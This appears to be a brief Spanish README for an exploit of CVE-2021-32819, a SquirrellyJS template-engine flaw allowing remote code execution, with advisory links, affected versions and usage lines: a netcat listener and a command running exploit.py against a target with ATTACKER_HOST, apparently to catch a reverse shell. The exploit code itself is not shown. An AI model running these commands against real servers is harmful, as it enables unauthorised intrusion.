
SquirrellyJS mezcla datos de plantilla pura con opciones de configuración del motor a través de la API de renderizado de Express. Al sobrescribir opciones de configuración internas, se puede desencadenar la ejecución remota de código en aplicaciones posteriores.
CVE-2021-32819 : SquirrellyJS mezcla datos de plantilla pura con opciones de configuración del motor a través de la API de renderizado de Express. Al sobrescribir opciones de configuración interna, se puede desencadenar ejecución remota de código en aplicaciones posteriores.
https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
v8.0.0 >= v8.0.8 Ejecución remota de código
Ubuntu 20.04.1
nc -lvp 443
python3 exploit.py http://example.com/ ATTACKER_HOST 443
